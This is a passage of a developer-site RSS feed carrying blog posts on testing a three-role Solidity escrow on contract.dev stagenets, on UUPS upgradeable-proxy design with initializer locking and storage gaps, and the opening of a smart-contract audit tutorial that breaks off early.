&lt;p&gt;To protect your real-world funds, you should never paste your primary wallet's private key into a local &lt;code&gt;.env&lt;/code&gt; file where an accidental GitHub push or a malicious package could expose it. Instead, you use fresh, $0-balance &quot;dummy&quot; accounts. But when a faucet requires a mainnet balance, it breaks this safety measure, forcing you to either risk your real wallet or fund a dummy account with real money just to get testnet tokens. Others force you to connect your personal social media and tweet just to get a single drop.&lt;/p&gt;
&lt;p&gt;If you are designing a system that requires multiple actors like a Client, a Provider, and an Arbiter in an Escrow, this friction multiplies. You either have to repeat this frustrating process for three separate wallets, or manually transfer tokens between them. And ironically, those manual transfers still cost you the precious testnet gas you just spent time trying to collect.&lt;/p&gt;
&lt;p&gt;The testing infrastructure quickly becomes more exhausting than writing the actual architecture.&lt;/p&gt;
&lt;p&gt;Recently, I began exploring ways to reduce this environmental friction and found a highly practical workflow using &lt;a rel=&quot;nofollow&quot; href=&quot;https://contract.dev&quot;&gt;contract.dev&lt;/a&gt;. It provides the visual simplicity of a tool like Remix, but on a globally accessible, private EVM testnets that replay mainnet state and come with built-in tools for testing, analysing, and simulating smart contracts before launch.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/max1xjz1jde5rs86lz5a.png&quot; alt=&quot;Contract.dev Dashboard&quot;&gt;&lt;/p&gt;
&lt;p&gt;Here is a look at how I approach testing a 3-actor Escrow system visually, eliminating local node overhead and faucet fatigue so I can focus purely on protocol behavior.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Architecture: A Trust-Minimized Escrow&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To demonstrate this workflow, I built &lt;code&gt;TrustEscrow.sol&lt;/code&gt;. The architecture is designed to be reusable and relies on strict access control across three distinct roles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Client:&lt;/strong&gt; Funds the escrow.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Provider:&lt;/strong&gt; Executes the work and receives the funds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Arbiter:&lt;/strong&gt; A neutral third party that resolves disputes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because the state transitions depend entirely on who is calling the function, verifying role transitions is critical. I explicitly designed this contract with a &lt;code&gt;resetEscrow&lt;/code&gt; function to allow continuous lifecycle testing without needing to redeploy the contract. Here is the core state machine governing the escrow:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;enum Stage {
    AwaitingFunding, // 0 - deployed or reset, waiting for client
    Funded,          // 1 - ETH held; work in progress
    Completed,       // 2 - client released funds; ready for reset
    Disputed,        // 3 - either party raised a dispute; arbiter needed
    Resolved         // 4 - arbiter settled dispute; ready for reset
}
Stage public stage;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;(Note: Making the state explicitly public is a deliberate choice here, it allows visual dashboards to read and display the exact stage of the protocol later in the workflow).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Normally, verifying these transitions requires writing extensive &lt;code&gt;.t.sol&lt;/code&gt; files with heavy &lt;code&gt;vm.prank()&lt;/code&gt; overhead. Here is how we can verify them visually on a live network instead.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1: The Instant Environment (No Alchemy, No Faucets)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The immediate relief of this workflow is the infrastructure. By creating a project on &lt;a rel=&quot;nofollow&quot; href=&quot;https://contract.dev&quot;&gt;contract.dev&lt;/a&gt;, I was instantly handed a live &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.contract.dev/stagenets&quot;&gt;Stagenet RPC URL&lt;/a&gt;&lt;/strong&gt;. No third-party node providers required.&lt;/p&gt;
&lt;p&gt;To test this escrow, I needed three distinct, funded wallets. Instead of configuring these locally or begging a public faucet, I used the platform's &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.contract.dev/tools/wallet-generator&quot;&gt;Wallet Generator&lt;/a&gt;&lt;/strong&gt; to spin up accounts for the Client, the Provider, and the Arbiter.&lt;/p&gt;
&lt;p&gt;Using the built-in Stagenet Faucet, I funded the Client's wallet with 100 ETH instantly. This is a live RPC that anyone in the world can interact with. You get the freedom of a public testnet without the artificial scarcity of testnet tokens.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hd3fetxa5vdjrzkz8dvx.png&quot; alt=&quot;The Wallet Generator showing the 3 distinct addresses and the Client's 100 ETH balance&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: CI/CD Sync and Deployment&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Unlike local nodes, the platform doesn't just guess your contract's ABI. By linking my GitHub repository, the platform's CI/CD pipeline automatically synced and compiled my Foundry project.&lt;/p&gt;
&lt;p&gt;To deploy, I didn't have to learn a new framework. I simply opened my terminal and ran my standard Foundry deployment script (&lt;code&gt;forge script&lt;/code&gt;), pointing it to the new Stagenet RPC and my newly funded wallet private key.&lt;/p&gt;
&lt;p&gt;The moment the transaction confirmed on the network, the platform detected the deployed contract and automatically generated a Workspace: a dedicated visual dashboard perfectly mapped to my Solidity code.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/11a574yhq6i5purkkwc8.png&quot; alt=&quot;The CI/CD dashboard or the Workspace activating after running the forge script&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(Crucial note for advanced developers: Unlike a local simulation, this Stagenet utilizes &lt;strong&gt;Mainnet Replay&lt;/strong&gt;. It actively mirrors live mainnet state. If your contract interacts with live Uniswap liquidity or Chainlink oracles, you can test against those live states immediately without writing complex fork scripts).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Verifying State Transitions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When testing architecture, immediate feedback is invaluable. Using the &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.contract.dev/rpc-routes/impersonation&quot;&gt;Account Impersonation&lt;/a&gt;&lt;/strong&gt; feature directly from the dashboard UI, I impersonated the Client and executed the &lt;code&gt;fundEscrow()&lt;/code&gt; transaction with 1 ETH.&lt;/p&gt;
&lt;p&gt;The Workspace updated in real-time to reflect the new reality. Instead of relying on terminal queries or &lt;code&gt;cast call&lt;/code&gt; commands, the dashboard visually confirmed that the contract balance was strictly locked at 1 ETH, and the &lt;code&gt;stage&lt;/code&gt; variable had transitioned correctly from &lt;code&gt;AwaitingFunding&lt;/code&gt; to &lt;code&gt;Funded&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cljnww16lg412sgquvkr.png&quot; alt=&quot;The Workspace dashboard showing the 1 ETH balance and the state variable changed to Funded - 1&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dy237kwitudaoynd9h3r.png&quot; alt=&quot;The Workspace dashboard showing the 1 ETH balance and the state variable changed to Funded - 2&quot;&gt;&lt;/p&gt;
&lt;p&gt;Continuing the simulation, I impersonated the Provider to raise a dispute, and finally the Arbiter to resolve it. The entire lifecycle of a complex 3-actor protocol was verified in seconds.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Automating the Ecosystem (AI User Activity)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Manually clicking through a happy path is great for an initial sanity check. But what if you want to simulate a living, breathing protocol under continuous load? Normally, this requires writing complex Hardhat scripts or custom bots to continuously fire transactions and redeploy contracts.&lt;/p&gt;
&lt;p&gt;This is where my workflow completely changed.&lt;/p&gt;
&lt;p&gt;The platform includes an &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.contract.dev/tools/activity-scheduler&quot;&gt;Activity Scheduler&lt;/a&gt;&lt;/strong&gt; powered by AI. Instead of writing mock scripts, the AI reads your contract's source code, ABI, and storage layout, and designs realistic user personas for your specific protocol.&lt;/p&gt;
&lt;p&gt;Because I built &lt;code&gt;TrustEscrow&lt;/code&gt; to be reusable via the &lt;code&gt;resetEscrow&lt;/code&gt; function, the AI was able to create infinite, continuous testing loops. With one click, it generated new dummy wallets, funded them, and scheduled recurring transaction workflows. In my Workspace, it automatically created two distinct, recurring timelines:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Happy Path:&lt;/strong&gt; It scheduled the Client to &lt;code&gt;fundEscrow&lt;/code&gt;, &lt;code&gt;releaseFunds&lt;/code&gt;, and &lt;code&gt;resetEscrow&lt;/code&gt; every 20 blocks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Dispute Path:&lt;/strong&gt; It scheduled a complex continuous workflow of &lt;code&gt;fundEscrow&lt;/code&gt; -&amp;gt; &lt;code&gt;raiseDispute&lt;/code&gt; -&amp;gt; &lt;code&gt;resolveDispute&lt;/code&gt; -&amp;gt; &lt;code&gt;resetEscrow&lt;/code&gt; every 30 blocks.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ma6uybe4vhnzmsogq21o.png&quot; alt=&quot;The AI Activity Scheduler showing the Happy Path and Dispute Path running on autopilot&quot;&gt;&lt;/p&gt;
&lt;p&gt;I didn't have to write a single line of testing script. I was able to sit back and watch the Stagenet process concurrent, multi-actor state transitions continuously.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bridging the Frontend Gap&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Beyond testing smart contract logic, this approach solves a very real integration problem.&lt;/p&gt;
&lt;p&gt;When you build in Remix or on a local Anvil node, handing the protocol off to a frontend developer usually requires them to recreate your local environment just to build the UI.&lt;/p&gt;
&lt;p&gt;Because a &lt;strong&gt;Stagenet&lt;/strong&gt; is a persistent, globally accessible network, you can simply share the RPC URL with your frontend team. You hand them a live, fully-funded sandbox where the AI Activity Simulator is already generating realistic background traffic. They can begin building the interface immediately against predictable, living data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Final Thoughts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Smart contracts handle real value, so engineering them requires a deep focus on security, invariants, and mathematical correctness. Testing infrastructure should support that focus, not distract from it.&lt;/p&gt;
&lt;p&gt;While robust local environments are great for early iterations, serious architecture requires a production-like setting. Visual testing on a Stagenet makes it easier to observe protocol behavior, simulate concurrent user activity, and collaborate with your team without getting bogged down in RPC setups and faucet fatigue.&lt;/p&gt;
&lt;p&gt;If you are tired of fighting local nodes to test multi-wallet architecture, I highly recommend integrating a visual Stagenet into your workflow.&lt;/p&gt;
&lt;p&gt;You can view the full &lt;code&gt;TrustEscrow&lt;/code&gt; architecture on my GitHub here: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/obinnafranklinduru/trust-escrow&quot;&gt;github.com/obinnafranklinduru/trust-escrow&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt; Glossary of Terms (For the Curious)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;EVM (Ethereum Virtual Machine):&lt;/strong&gt; The underlying engine that processes and executes smart contracts on Ethereum and other compatible blockchains. &lt;em&gt;Web2 Analogy: Think of it like the global operating system or server environment (like Node.js or AWS) that runs your code.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RPC URL:&lt;/strong&gt; The digital bridge that allows your interface to communicate with the blockchain. &lt;em&gt;Web2 Analogy: Just like an API endpoint connects a frontend web app to a backend database.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Faucet:&lt;/strong&gt; A developer service that provides free test tokens. &lt;em&gt;Web2 Analogy: Like getting free &quot;sandbox credits&quot; in Stripe to test payments without using real credit cards.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mainnet vs Testnet:&lt;/strong&gt; Mainnet is the live network with real financial value. A testnet is a public sandbox with zero-value tokens. &lt;em&gt;Web2 Analogy: Mainnet is your live &quot;Production&quot; environment. A testnet is your &quot;Staging&quot; environment.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stagenet:&lt;/strong&gt; A private testing environment that actively mirrors the live mainnet state. &lt;em&gt;Web2 Analogy: A high-fidelity staging server that has been perfectly synced with a live copy of your production database.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Private Key:&lt;/strong&gt; The secret cryptographic password that grants total control over a wallet and its funds. &lt;em&gt;Web2 Analogy: The root password to your bank account.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;.env&lt;/code&gt; File:&lt;/strong&gt; A hidden local file used to store sensitive information securely. &lt;em&gt;Web2 Analogy: It serves the exact same purpose in Web2—keeping API keys and passwords out of public GitHub repositories.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ABI (Application Binary Interface):&lt;/strong&gt; A file that acts as a translation manual telling a frontend exactly how to interact with a compiled smart contract. &lt;em&gt;Web2 Analogy: Like an OpenAPI/Swagger document that defines the endpoints and expected payloads for a REST API.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;State Machine:&lt;/strong&gt; An architectural pattern where a contract can only exist in one specific stage at a time (e.g., AwaitingFunding or Completed). &lt;em&gt;Web2 Analogy: Like an e-commerce order that must strictly move from 'Pending' -&amp;gt; 'Shipped' -&amp;gt; 'Delivered' without skipping steps.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Foundry:&lt;/strong&gt; A fast, specialized command-line toolkit used for compiling, testing, and deploying smart contracts. &lt;em&gt;Web2 Analogy: A mix between a build tool (like Webpack) and a testing framework (like Jest).&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;vm.prank()&lt;/code&gt;:&lt;/strong&gt; A specific testing command used to impersonate a different user to verify access controls. &lt;em&gt;Web2 Analogy: Like a &quot;Login as User&quot; feature in an admin dashboard to test what a specific customer sees.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/18724/smart-contracts-demand-better-infrastructure-building-on-contract-dev</guid>
<pubDate>Sat, 23 May 2026 06:55:56 +0000</pubDate>
</item>
<item>
<title>Immutability by Default, Upgradeability by Necessity: Lessons from a Crowdfunding Protocol</title>
<link>https://coderlegion.com/15982/immutability-by-default-upgradeability-necessity-lessons-from-crowdfunding-protocol</link>
<description>&lt;p&gt;Smart contracts handle real value, so I believe every line of code should communicate trust.&lt;/p&gt;
&lt;p&gt;When you first start learning Solidity, you are taught one golden rule: &lt;em&gt;smart contracts are immutable&lt;/em&gt;. Deploying a contract is like launching a rocket into space, once it leaves the launchpad, you can't easily change the wiring. If there is a bug, the code is set in stone.&lt;/p&gt;
&lt;p&gt;But recently, while building &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393&quot;&gt;MilestoneCrowdfundUpgradeable&lt;/a&gt;&lt;/strong&gt;: an onchain escrow protocol verified on &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://polygon.technology/&quot;&gt;Polygon&lt;/a&gt;&lt;/strong&gt;. I hit a classic Web3 crossroads.&lt;/p&gt;
&lt;p&gt;My stakeholder had a very practical requirement: &lt;em&gt;flexibility&lt;/em&gt;. We knew we had future upgrades planned for the protocol, but we couldn't ask our users to interact with a new contract address every single month. That is a terrible user experience and a quick way to erode trust. We needed a single, reliable entry point for users, while maintaining the ability to upgrade the underlying logic.&lt;/p&gt;
&lt;p&gt;We needed an upgradeable contract.&lt;/p&gt;
&lt;p&gt;In this post (the first of a five-part series), I want to sit down with you and share exactly how I approached &lt;strong&gt;Upgradeability&lt;/strong&gt;. If you are a beginner or intermediate developer trying to wrap your head around proxies, storage collisions, and initialization traps, this post is for you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What Actually is a Proxy? (The Restaurant Analogy)&lt;/strong&gt;&lt;br&gt;
Before we talk about how to upgrade, we have to understand the architecture. How do you change code that is supposed to be unchangeable?&lt;/p&gt;
&lt;p&gt;You split the contract into two pieces. I like to explain it using a restaurant analogy:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Proxy (The Building &amp;amp; Cash Register):&lt;/strong&gt; This contract has a permanent address. Users only ever interact with this contract. It holds all the money (ETH) and all the data (state).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Implementation (The Kitchen Staff &amp;amp; Recipe):&lt;/strong&gt; This contract holds the actual logic (the code for &lt;code&gt;pledge()&lt;/code&gt;, &lt;code&gt;refund()&lt;/code&gt;, etc.).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;When a user sends money to the Proxy, the Proxy uses a special Ethereum command called &lt;code&gt;delegatecall&lt;/code&gt;. It basically says to the Implementation: &lt;em&gt;&quot;Hey Kitchen, borrow my ingredients and tell me how to process this order, but leave the money in my cash register.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;If we find a bug in our recipe, the Admin simply deploys a brand new Implementation contract (a new Kitchen Staff), and tells the Proxy to start asking them for instructions instead. The building address and the cash register never change.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nc8q35dohxlp73i7ylrc.png&quot; alt=&quot;MilestoneCrowdfundUpgradeable architecture Image 1&quot;&gt;&lt;/p&gt;
&lt;p&gt;There are a few ways to build this. I chose a pattern called &lt;strong&gt;UUPS&lt;/strong&gt; (Universal Upgradeable Proxy Standard) via the &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.openzeppelin.com/solidity-contracts&quot;&gt;OpenZeppelin library&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Without getting too bogged down in jargon, older patterns (like Transparent Proxies) put the &quot;upgrade manager&quot; in the Proxy itself. UUPS puts the &quot;upgrade manager&quot; in the Implementation contract. I chose UUPS because it makes the Proxy lightweight, which makes transactions cheaper (lower gas fees) for our users.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Constructor Trap (And How to Get Hacked)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When you write a normal smart contract, you use a &lt;code&gt;constructor()&lt;/code&gt; to set up your initial variables (like assigning the &lt;code&gt;owner&lt;/code&gt;). Constructors run exactly once, during deployment.&lt;br&gt;
But in a proxy setup, the Proxy deploys after the Implementation. The Proxy can't trigger the Implementation's constructor. So, the golden rule of upgradeability is: &lt;strong&gt;Do not use constructors. Use an &lt;code&gt;initialize()&lt;/code&gt; function instead.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;At first, it feels like you can just swap the words and move on. But here is the trap: &lt;em&gt;The implementation contract is still a live contract sitting on the blockchain&lt;/em&gt;. Imagine you deploy your Implementation contract, and it has an &lt;code&gt;initialize()&lt;/code&gt; function that sets the owner. Your Proxy connects to it and calls &lt;code&gt;initialize()&lt;/code&gt;. Great! Your Proxy is the &lt;code&gt;owner&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But what about the Implementation contract itself? It's just floating out there. If you don't lock it, a hacker can call &lt;code&gt;initialize()&lt;/code&gt; directly on the Implementation contract, make themselves the owner, and potentially command it to self-destruct. If the Implementation is destroyed, your Proxy is permanently broken.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4lus79cngg2nkb7dzwqb.png&quot; alt=&quot;MilestoneCrowdfundUpgradeable architecture Image 2&quot;&gt;&lt;/p&gt;
&lt;p&gt;To prevent this, my approach is strict:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;All protocol setup goes into &lt;code&gt;initialize()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;I immediately lock the Implementation contract using a special constructor.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
    // This locks the Implementation contract so no one can initialize it directly
    _disableInitializers(); 
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From a mindset perspective: &lt;strong&gt;Assume attackers will interact with your implementation contract directly.&lt;/strong&gt; Once you internalize that, locking it stops being a confusing &quot;trap&quot; and simply becomes part of your default security posture.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Storage Management: The Giant Spreadsheet&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Upgradeable contracts are notorious for &quot;storage collisions.&quot;&lt;/p&gt;
&lt;p&gt;Think of smart contract storage like a giant, invisible spreadsheet. Row 1 is &lt;code&gt;owner&lt;/code&gt;. Row 2 is &lt;code&gt;totalRaised&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When you upgrade to Implementation V2, the Proxy still uses that exact same spreadsheet. If you accidentally write V2 so that a new variable called &lt;code&gt;isCampaignActive&lt;/code&gt; is placed in Row 1, you just overwrote the &lt;code&gt;owner&lt;/code&gt;! That is a storage collision, and it is catastrophic.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1080j4lu5eeb66270z71.png&quot; alt=&quot;MilestoneCrowdfundUpgradeable architecture Image 3&quot;&gt;&lt;/p&gt;
&lt;p&gt;To prevent this, my approach is conservative and explicit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Append-only storage:&lt;/strong&gt; Never reorder variables. Never delete variables.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Storage Gaps:&lt;/strong&gt; I use the classic &lt;code&gt;uint256[50] private __gap;&lt;/code&gt; at the bottom of my contracts.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A storage gap is literally just claiming 50 empty rows at the bottom of your spreadsheet. If I ever need to add a new variable in V2, I take one row away from the gap (&lt;code&gt;uint256[49] private __gap;&lt;/code&gt;) and add my new variable.&lt;/p&gt;
&lt;p&gt;Why gaps instead of newer, complex patterns (like &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://eips.ethereum.org/EIPS/eip-7201&quot;&gt;ERC-7201&lt;/a&gt;&lt;/strong&gt;)? Because it's simple, battle-tested, and auditors easily understand it. Storage layout is not &quot;code you can refactor&quot;; it's &quot;state you must preserve forever.&quot; Discipline is your real protection.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Hardest Lesson: Hunting for Ghosts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The single most frustrating moment I had while setting up this project in &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://www.getfoundry.sh/&quot;&gt;Foundry&lt;/a&gt;&lt;/strong&gt; (my testing framework) came down to one line of code.&lt;/p&gt;
&lt;p&gt;In Web3, we use something called a &lt;code&gt;ReentrancyGuard&lt;/code&gt; to stop hackers from double-spending money. Because I was building an upgradeable contract, I kept trying to import &lt;code&gt;ReentrancyGuardUpgradeable&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It just wasn't there. Most older tutorials, blog posts, and AI tools told me to use the Upgradeable version, so it felt like I was doing something wrong.&lt;/p&gt;
&lt;p&gt;What finally clicked was reading the source code of the newest OpenZeppelin version. I realized that the standard &lt;code&gt;ReentrancyGuard&lt;/code&gt; no longer relied on a constructor. It used internal logic that worked perfectly fine behind a proxy. I didn't need an upgradeable version anymore; I could just use the normal one:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;import { ReentrancyGuard } from &quot;@openzeppelin/contracts/utils/ReentrancyGuard.sol&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The frustrating part wasn't the code, it was the mismatch between my old mental model (&quot;everything must have an Upgradeable suffix&quot;) and reality (some contracts are now inherently proxy-safe).&lt;/p&gt;
&lt;p&gt;It forced a deeper shift in how I work: &lt;strong&gt;I stopped coding from patterns, and started reasoning from first principles.&lt;/strong&gt; Upgradeability isn't just about making a proxy; it's about understanding how every single tool you import behaves under the hood.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The BinnaDev Takeaway&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If a junior developer asked me today, &quot;Obinna, should I make my next project upgradeable?&quot; my answer would be:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;It depends but try not to use it unless you have a clear, defensible reason.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Upgradeability is not a free feature. You gain flexibility, but you introduce new attack surfaces and complexity. If you can ship your protocol as immutable, do that first. It gives you a simpler mental model, fewer failure modes, and it is vastly easier to secure.&lt;/p&gt;
&lt;p&gt;Only reach for upgradeability if the system will hold significant user funds, has evolving logic, or needs long-term maintenance. At that point, upgradeability becomes a risk management tool, not a convenience.&lt;/p&gt;
&lt;p&gt;My guiding principle is this: &lt;strong&gt;Immutability by default, upgradeability by necessity.&lt;/strong&gt; If you can't clearly explain why it must be upgradeable, who controls the upgrades, and how users are protected, then you aren't ready to use it yet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deployment Update&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;MilestoneCrowdfundUpgradeable&lt;/strong&gt; contract has been successfully deployed on &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://polygon.technology/&quot;&gt;Polygon&lt;/a&gt;&lt;/strong&gt; (Chain ID: 137), marking the transition from design and testing into a live, verifiable environment.&lt;/p&gt;
&lt;p&gt;Here are the core deployment details:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Proxy Address:&lt;/strong&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393&quot;&gt;https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Implementation Address:&lt;/strong&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://polygonscan.com/address/0x003e81b1b080029b87c728590c9bfec339180625&quot;&gt;https://polygonscan.com/address/0x003e81b1b080029b87c728590c9bfec339180625&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This deployment reflects the architectural decisions discussed earlier: a proxy-based upgradeable system with clearly defined control boundaries and fund flow roles. With the contract now live, the focus shifts from infrastructure to behavior, how funds move, how milestones are enforced, and how the protocol responds under real-world conditions.&lt;/p&gt;
&lt;p&gt;In the next post, we'll dive into the actual mechanics of the MilestoneCrowdfundUpgradeable protocol itself. I'll walk you through how we designed the escrow, the math behind milestone-based releases, and the trust model that protects users if a creator decides to walk away.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/15982/immutability-by-default-upgradeability-necessity-lessons-from-crowdfunding-protocol</guid>
<pubDate>Mon, 27 Apr 2026 13:41:35 +0000</pubDate>
</item>
<item>
<title>How To Audit A Smart Contract</title>
<link>https://coderlegion.com/14218/how-to-audit-a-smart-contract</link>
<description>&lt;p&gt;I was going through the &lt;a rel=&quot;nofollow&quot; href=&quot;https://updraft.cyfrin.io/courses/security&quot;&gt;Updraft Smart Contract Security course&lt;/a&gt;, and I realized I had been doing some things the wrong way.&lt;br&gt;
Here are a couple of things I started doing differently.&lt;/p&gt;
&lt;p&gt;I am basing this article on the &lt;code&gt;PasswordStore&lt;/code&gt; repo here: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Cyfrin/3-passwordstore-audit&quot;&gt;3-passwordstore-audit&lt;/a&gt;.&lt;br&gt;
Definitely check it out. It is only about 20 lines of contract code, and that is where &lt;code&gt;nSLOC/CLOC&lt;/code&gt; comes in. It tells you how much actual code is in the codebase.&lt;/p&gt;
&lt;h3 id=&quot;step-1-trace-trust-boundaries&quot;&gt;Step 1: Trace Trust Boundaries&lt;/h3&gt;
&lt;p&gt;Ask these questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Who can &lt;strong&gt;write&lt;/strong&gt; the value?&lt;/li&gt;
&lt;li&gt;Who can &lt;strong&gt;read&lt;/strong&gt; the value?&lt;/li&gt;
&lt;li&gt;What does the constructor assume?&lt;/li&gt;
&lt;li&gt;What does the contract pretend is hidden?&lt;/li&gt;
&lt;li&gt;What breaks if the value is public?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Cyfrin/3-passwordstore-audit/blob/main/src/PasswordStore.sol&quot;&gt;PasswordStore.sol&lt;/a&gt;, the owner is set in the constructor, and the setter check &lt;code&gt;msg.sender&lt;/code&gt;.&lt;br&gt;
That gives the shape of the access control.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;function setPassword(string memory newPassword) external {
    if (msg.sender != s_owner) {
        revert PasswordStore__NotOwner();
    }
    s_password = newPassword;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The guard is there. The function is protected. So far so good.&lt;/p&gt;
&lt;h3 id=&quot;step-2-what-the-repo-shows&quot;&gt;Step 2: What the repo shows&lt;/h3&gt;
&lt;p&gt;The repo points to two separate issues:&lt;/p&gt;
